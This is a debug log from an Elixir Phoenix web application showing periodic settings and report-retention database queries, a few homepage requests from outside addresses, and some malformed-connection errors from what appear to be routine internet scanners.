↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 18:30:00.957000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=609.8ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 18:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 18:30:01.089000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=741.5ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 18:30:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 18:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1350.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 18:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1332.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 18:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.2ms queue=0.1ms idle=1306.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 19:00:01.061000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=1649.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 19:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 19:00:01.190000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=1777.8ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 19:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 19:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1281.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 19:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1259.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 19:26:04.039000 2026] [Phoenix.Logger:info] [pid 2816631] [client 87.236.176.114:36053] GET /
[Thu Sep  3 19:26:04.040000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 87.236.176.114:36053] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 19:26:04.042000 2026] [Phoenix.Logger:info] [pid 2816631] [client 87.236.176.114:36053] Sent 200 in 2ms
[Thu Sep  3 19:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1243.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 19:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1216.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 19:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1198.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 19:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1187.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 20:00:00.220000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=672.6ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 20:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 20:00:00.336000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.3ms idle=788.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 20:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 20:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1168.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 20:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1145.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 20:22:08.922000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Request line HTTP error: <<22, 3, 2, 1, 111, 1, 0, 1, 107, 3, 2, 82, 72, 197, 26, 35, 247, 58, 78, 223, 226, 180, 130, 47, 255, 9, 84, 159, 167, 196, 121, 176, 104, 198, 19, 140, 164, 28, 61, 34, 225, 26, 152, 32, 132, 180, 44, 133, 175, 110, ...>>
[Thu Sep  3 20:22:56.282000 2026] [Phoenix.Logger:info] [pid 2816631] [client 80.82.77.202:50504] GET /
[Thu Sep  3 20:22:56.282000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 80.82.77.202:50504] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 20:22:56.283000 2026] [Phoenix.Logger:info] [pid 2816631] [client 80.82.77.202:50504] Sent 200 in 1ms
[Thu Sep  3 20:23:08.880000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 20:23:08.928000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 20:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1110.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 20:30:00.299000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=1703.4ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 20:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 20:30:00.398000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=802.6ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 20:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 20:36:24.708000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1100.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 20:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1081.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 20:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1062.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 21:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1036.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 21:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1012.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 21:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1988.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 21:30:01.045000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=1325.7ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 21:30:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 21:30:01.297000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=1577.7ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 21:30:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 21:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1976.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 21:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1963.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 21:54:45.081000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 21:54:48.464000 2026] [Phoenix.Logger:info] [pid 2816631] [client 91.196.152.22:43895] GET /
[Thu Sep  3 21:54:48.465000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 91.196.152.22:43895] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 21:54:48.466000 2026] [Phoenix.Logger:info] [pid 2816631] [client 91.196.152.22:43895] Sent 200 in 1ms
[Thu Sep  3 21:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1942.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 22:00:00.493000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=1732.3ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 22:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 22:00:00.724000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=964.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 22:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 22:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1920.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 22:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1906.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 22:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1887.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 22:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1868.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 22:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1833.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 22:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1798.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 23:00:00.856000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.9ms idle=1935.7ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 23:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 23:00:00.985000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.7ms idle=393.3ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 23:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 23:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1778.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 23:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1749.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 23:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1738.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 23:30:00.923000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.6ms idle=1850.6ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 23:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 23:30:01.090000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=1017.3ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 23:30:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 23:36:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=2.0ms idle=1714.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 23:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1704.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 23:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1677.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 00:00:01.020000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=886.4ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 00:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 00:00:01.143000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.3ms idle=1010.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 00:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 00:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1643.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 00:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1631.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 00:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1603.1ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 00:28:38.369000 2026] [Phoenix.Logger:info] [pid 2816631] [client 165.227.62.247:50242] GET /
[Fri Sep  4 00:28:38.369000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 165.227.62.247:50242] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 00:28:38.370000 2026] [Phoenix.Logger:info] [pid 2816631] [client 165.227.62.247:50242] Sent 200 in 1ms
[Fri Sep  4 00:30:01.513000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.1ms idle=322.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 00:30:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 00:36:09.852000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Request line HTTP error: <<3, 0, 0, 43, 38, 224, 0, 0, 0, 0, 0, 67, 111, 111, 107, 105, 101, 58, 32, 109, 115, 116, 115, 104, 97, 115, 104, 61, 104, 101, 108, 108, 111, 13, 10>>
[Fri Sep  4 00:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1574.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
